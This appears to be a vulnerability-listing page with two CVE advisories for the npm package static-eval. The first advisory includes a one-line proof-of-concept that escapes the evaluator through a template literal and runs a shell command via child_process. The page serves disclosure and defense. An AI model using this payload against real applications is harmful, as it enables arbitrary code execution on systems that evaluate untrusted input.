RSS   Vulnerabilities for 'Static-eval'   RSS

2021-02-11
 
CVE-2021-23334

CWE-94
 
 
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

 
2018-06-06
 
CVE-2017-16226

CWE-20
 
 
The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.

 

Copyright 2024, cxsecurity.com

 

Back to Top